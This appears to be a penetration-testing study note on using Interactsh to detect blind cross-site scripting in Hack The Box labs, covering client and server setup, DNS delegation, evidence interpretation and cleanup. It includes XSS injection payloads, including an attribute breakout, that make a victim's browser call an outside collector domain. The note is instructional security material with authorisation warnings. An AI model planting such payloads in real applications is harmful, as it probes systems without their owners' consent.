Blind XSS Tool — Interactsh fas:ClipboardList
Summary ris:Eye
Interactsh generates unique out-of-band interaction domains and reports DNS, HTTP, SMTP, LDAP, and other callbacks. For blind XSS, it is a fast way to determine whether an unseen browser resolved or requested a unique address. It is lighter than XSS Hunter or ezXSS, but it does not automatically provide the same screenshots, DOM captures, or browser-specific evidence.
[!danger]+ HTB-Only Boundary
fas:TriangleExclamation
- Use Interactsh only in Hack The Box, deliberately vulnerable applications, or systems you own and are explicitly authorised to test.
- Start with callback-only probes that collect no cookies, DOM, or browser storage.
- Public Interactsh services are third-party infrastructure; do not send sensitive lab data in callback paths.
- See Cross-Site Scripting (XSS) - HTB Cheat Sheet for context-specific payloads and impact validation.
Conceptual Information ris:GlobalLine
What Interactsh Proves
| Observation | Strongest safe conclusion | What it does not prove |
|---|---|---|
| DNS callback only | A system resolved the unique hostname | Browser JavaScript execution |
| HTTP request for an injected image URL | A renderer parsed the resource reference and requested it | JavaScript execution |
| HTTP request created inside an event handler | Browser-side JavaScript executed and egress was available | Cookie access or privileged actions |
| Repeated callbacks | The stored value was rendered more than once | Number of distinct users without correlation evidence |
| No callback | Nothing reached this collector during the observation window | Absence of XSS; CSP, routing, rendering, or timing may block it |
Choose the Right Collector
| Need | Recommended tool |
|---|---|
| Fast unique DNS/HTTP confirmation | Interactsh |
| Screenshots, DOM, and rich browser reports | Blind XSS Tool - XSS Hunter |
| Flexible self-hosted payload and notification controls | Blind XSS Tool - ezXSS |
| Raw callback visible over the HTB VPN | Python HTTP server or Netcat from the main XSS note |
[!info]+ Correlation Model
ris:FileList
- The client generates a unique domain containing a correlation identifier and nonce.
- The server records interactions for that identifier.
- The client polls and decrypts or displays matching events.
- Add your own field label as a subdomain or path only when it remains within the generated unique domain structure.
Tools Overview fas:Screwdriver
[!info]+ Interactsh Web Client Overview
ris:GlobalLine
- Browser-based dashboard with no local installation.
- Stores session state in browser storage.
- Best for a quick, non-sensitive HTB callback test.
[!info]+ Interactsh CLI Client Overview
fas:Terminal
- Generates payloads and polls for interactions in a terminal.
- Supports session files, JSON output, custom servers, and protected-server tokens.
- Best for reproducible lab notes and long-running polling.
[!info]+ Interactsh Server Overview
ris:Radar
- Self-hosted DNS and application-protocol interaction collector.
- Requires a dedicated domain, nameserver delegation, a public server, and careful exposure controls.
- Best when public shared infrastructure is unsuitable or unreliable.
Commands and Implementation ris:Command
1. Hosted Web Client — Fastest Start
- Open https://app.interactsh.com.
- Copy the unique generated domain.
- Open
https://UNIQUE_DOMAIN/self-testin a separate lab browser tab. - Confirm that DNS and HTTP events appear.
- Keep the tab open while testing the HTB field.
- Export or record the minimal callback evidence, then clear the browser session when finished.
[!warning]+ Hosted Service Boundary
fas:TriangleExclamation
- Treat the generated domain as temporary.
- Do not place cookies, tokens, DOM content, usernames, or flags in the callback URL.
- Public server availability and default domains may change; use the CLI or self-hosting when reliability matters.
2. Install the CLI with Go
The project README currently requires Go 1.20 or newer for source installation.
go version
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
interactsh-client -version
[!info]+ Command Breakdown
fas:Terminal
go version: Confirm the local Go toolchain meets the project requirement.@latest: Installs the current published client from the official module path.- Ensure the Go binary directory is in
PATHif the final command is not found.
3. Start a Persistent Client Session
interactsh-client -sf interactsh-htb.session
[INF] Listing 1 payload for OOB Testing
UNIQUE_CORRELATION_ID.oast.example
[!info]+ Session Breakdown
ris:FileList
-sf interactsh-htb.session: Saves the client session so polling can resume after interruption.- The displayed hostname is unique to this session; copy it exactly.
- Keep the session file private because it associates the client with its interactions.
- The default public domains may rotate, so use the value printed by the client rather than a hard-coded suffix.
If the current public service requires ProjectDiscovery authentication:
interactsh-client -auth
[!info]+ Authentication Note
ris:LockPassword
- Follow the interactive prompt and use your own ProjectDiscovery Cloud Platform API key.
- Do not paste API keys into command history or the Obsidian vault.
- Public-server authentication is separate from a token used by a protected self-hosted server.
4. Run the CLI Client with Docker
docker run --rm -it projectdiscovery/interactsh-client:latest
[INF] Listing 1 payload for OOB Testing
UNIQUE_CORRELATION_ID.oast.example
[!info]+ Docker Breakdown
fas:Terminal
--rm: Removes the temporary container after exit.-it: Keeps the polling client interactive.- Mount a dedicated directory only when you need persistent session or output files.
Persist a session file in the current directory:
mkdir -p interactsh-state
docker run --rm -it \
-v "$PWD/interactsh-state:/state" \
projectdiscovery/interactsh-client:latest \
-sf /state/htb.session
[!warning]+ Session Storage
fas:TriangleExclamation
- Restrict the
interactsh-statedirectory to your user.- Do not commit session or JSON output files.
- Remove them after recording the required HTB evidence.
5. Verify the Collector Before Injection
curl -i "https://UNIQUE_DOMAIN/self-test"
HTTP/2 200
content-type: text/html; charset=utf-8
[!success]+ Expected Result
ris:Key
- The client reports a DNS lookup and an HTTP request for
/self-test.- The event time, protocol, source address, and request metadata appear.
- If only DNS appears, inspect TLS, routing, and HTTP service availability before planting the HTB payload.
6. Create Unique HTB Correlation Labels
| Field under test | Example label |
|---|---|
| Support message | support-message-20260808-1530 |
| Display name | profile-name-20260808-1535 |
User-Agent header | user-agent-20260808-1540 |
Referer header | referer-20260808-1545 |
| Filename | filename-20260808-1550 |
Use the label in the path when the generated domain format must remain unchanged:
https://UNIQUE_DOMAIN/support-message-20260808-1530
[!tip]+ Attribution Rule
fas:Lightbulb
- Submit one labelled field at a time.
- Keep a small table mapping label → request → account → time.
- Do not include flags, usernames, or secrets in labels.
7. Blind-XSS Callback Payloads
Replace UNIQUE_DOMAIN and the label with values from the active session.
<!-- Resource callback: proves HTML parsing and outbound resource loading -->
<img src="https://UNIQUE_DOMAIN/support-message-20260808-1530">
<!-- Event-handler callback: proves JavaScript execution -->
<img src=x onerror="new Image().src='https://UNIQUE_DOMAIN/js-support-message-20260808-1530'">
<!-- Confirmed double-quoted attribute breakout -->
"><img src=x onerror="new Image().src='https://UNIQUE_DOMAIN/attr-profile-name-20260808-1535'">
[!warning]+ Payload Interpretation
fas:TriangleExclamation
- The first payload can fire without JavaScript; report it as resource loading, not script execution.
- The second and third callbacks originate inside an event handler and therefore support a JavaScript-execution finding.
- CSP, sanitisation, mixed-content policy, or outbound filtering may prevent a callback even when injection exists.
- Keep callback URLs free of cookies and other sensitive values on public infrastructure.
8. Read and Record an Interaction
| Field | Interpretation |
|---|---|
| Protocol | DNS, HTTP, SMTP, LDAP, or another supported interaction |
| Unique ID | Connects the event to the generated payload |
| Remote address | Network source seen by the collector; may be a proxy or resolver |
| Timestamp | Helps correlate asynchronous rendering |
| HTTP path | Identifies the tested field label |
| Headers | May reveal browser, proxy, or automation context |
| Raw request | Evidence of the exact callback; may contain sensitive values if the payload included them |
[!success]+ Minimum HTB Evidence
ris:Key
- Screenshot or export the interaction with its unique label and timestamp.
- Save the request that planted the payload.
- State whether evidence was DNS-only, resource loading, or JavaScript-created HTTP.
- Remove the stored payload and delete local session/output data after the write-up is complete.
Optional Self-Hosting ris:Global
[!important]+ Self-Hosting Requirements
fas:TriangleExclamation
- A dedicated domain used only for OAST.
- Glue or host records such as
ns1andns2pointing to the server public IP.- Nameserver delegation of the OAST domain to those hosts.
- A public VPS able to bind DNS and HTTP/TLS ports.
- A protected client token, restricted administration, monitoring, and a retention decision.
9. Configure DNS Delegation
At the registrar or authoritative DNS provider:
- Create host/glue record
ns1.oast.YOUR_DOMAIN→SERVER_IP. - Create host/glue record
ns2.oast.YOUR_DOMAIN→SERVER_IP. - Delegate
oast.YOUR_DOMAINtons1.oast.YOUR_DOMAINandns2.oast.YOUR_DOMAIN. - Wait for delegation to propagate.
- Verify from an independent resolver.
dig NS oast.YOUR_DOMAIN +short
dig A ns1.oast.YOUR_DOMAIN +short
dig A ns2.oast.YOUR_DOMAIN +short
[!success]+ Expected DNS Result
ris:Key
- The delegated nameservers are returned for the OAST domain.
- Both nameserver hosts resolve to the intended server address.
- Do not start payload testing until delegation is consistent externally.
10. Install and Start the Server
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-server@latest
interactsh-server -version
sudo interactsh-server -domain oast.YOUR_DOMAIN
[!info]+ Server Breakdown
fas:Terminal
-domain: Sets the dedicated delegated OAST domain.- The server attempts to discover public addresses and configure supported listeners.
- Privileged ports require appropriate OS capabilities or a carefully managed service account; avoid running a long-lived service interactively as root.
- Inspect
interactsh-server -hon the installed version before production use because supported services and flags evolve.
Common service ports include:
| Protocol | Port | Required for browser-focused XSS? |
|---|---|---|
| DNS | UDP/TCP 53 | Yes |
| HTTP | TCP 80 | Useful for redirects and plaintext labs |
| HTTPS | TCP 443 | Yes for secure callback reliability |
| SMTP/SMTPS | TCP 25/587 | No, unless testing mail interactions |
| LDAP | TCP 389 | No, unless testing LDAP interactions |
[!warning]+ Least Exposure
fas:TriangleExclamation
- Expose only the protocols required for the authorised test.
- Use the installed version’s help output to disable unused listeners where supported.
- Apply cloud and host firewall rules together.
- Run the service under a dedicated account with only the required bind capabilities.
11. Connect a Client to the Self-Hosted Server
interactsh-client -server oast.YOUR_DOMAIN
For a protected server:
interactsh-client -server oast.YOUR_DOMAIN -token SELF_HOSTED_CLIENT_TOKEN
[!info]+ Client Connection
ris:LockPassword
-server: Overrides the rotating public server list.-token: Authenticates to a protected self-hosted server.- Store the token in a protected configuration file or secret manager rather than shell history.
12. Optional Static Payload Hosting
The self-hosted server can expose files under its /s/ path when started with an HTTP directory:
interactsh-server \
-domain oast.YOUR_DOMAIN \
-http-directory ./lab-payloads
[!warning]+ Static Hosting Boundary
fas:TriangleExclamation
- Host only minimal, reviewed HTB lab files.
- Do not enable dynamic responses or arbitrary public script hosting on a domain shared with other services.
- Keep the directory read-only to the service and review its contents before every run.
Operations and Lifecycle ris:FileList
Logs and Session Output
interactsh-client -sf interactsh-htb.session -json -o interactions.jsonl
[!info]+ Output Breakdown
ris:FileList
-json: Produces structured interaction records.-o: Writes events to the named file.- Protect the session and JSONL files because request headers and callback paths may be sensitive.
Update
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
interactsh-client -version
For Docker, pull the current client image before the next lab:
docker pull projectdiscovery/interactsh-client:latest
[!tip]+ Update Check
fas:Lightbulb
- Review the official release notes before updating a self-hosted server.
- Verify client/server compatibility and complete a DNS-plus-HTTP self-test.
- Keep the previous binary or VPS snapshot until the new version is verified.
Retention and Cleanup
- Stop polling after the HTB observation window.
- Export only the interaction records needed for the write-up.
- Clear the hosted web client’s browser storage when the session is no longer required.
- Remove local session and JSONL files after evidence verification.
- For self-hosting, stop the service, revoke client tokens, remove DNS delegation, and close exposed ports.
- Keep no callback data beyond the lab/reporting requirement.
[!danger]+ Self-Hosted Retirement
fas:TriangleExclamation
- Removing only the web service leaves delegated DNS and other listeners exposed.
- Verify both cloud and host firewalls after shutdown.
- Remove or repurpose the dedicated domain only after DNS caches have expired and no test payloads remain stored.
Troubleshooting ris:FileList
[!failure]+ No Interaction Appears
fas:CircleXmark
- Open the generated URL yourself and confirm DNS plus HTTP events.
- Verify that the client is still polling the correct session.
- Inspect the HTB browser Console and Network for CSP, TLS, mixed-content, or sanitisation failures.
- Confirm the stored field is rendered by the expected user or background workflow.
- Test a simple
<img src>before an event-handler callback.
[!failure]+ DNS Appears but HTTP Does Not
fas:CircleXmark
- Confirm the exact scheme and hostname requested by the payload.
- Test HTTPS directly with
curl.- Check server port exposure and certificate validity.
- Remember that DNS-only evidence does not prove JavaScript execution.
[!failure]+ Self-Hosted Domain Does Not Register
fas:CircleXmark
- Verify glue records and nameserver delegation from an external resolver.
- Confirm UDP and TCP
53reach the server.- Confirm no existing DNS daemon occupies port
53.- Review server logs and the current version’s help output.
[!failure]+ Public Server or Authentication Error
fas:CircleXmark
- Run
interactsh-client -authif the selected public service requires a ProjectDiscovery API key.- Generate a fresh session rather than reusing an expired domain.
- Try another official default server through the client’s supported configuration.
- Move to a protected self-hosted server when public availability is unsuitable.
Lessons Learned fas:Lightbulb
- DNS, resource loading, and JavaScript execution are three different evidence levels and must be reported separately.
- Unique labels turn asynchronous blind callbacks into attributable findings.
- Public OAST infrastructure is ideal for harmless reachability tests, not sensitive data collection.
- Self-hosting improves control but adds DNS, TLS, firewall, token, logging, and retention responsibilities.
References fas:BookOpen
- ProjectDiscovery Interactsh Repository
- Interactsh Web Client
- ProjectDiscovery Interactsh Release Article
- Docker Client Image
- Cross-Site Scripting (XSS) - HTB Cheat Sheet
- Blind XSS Tool - XSS Hunter
- Blind XSS Tool - ezXSS
#HTB #WebSecurity #XSS #BlindXSS #Interactsh #OAST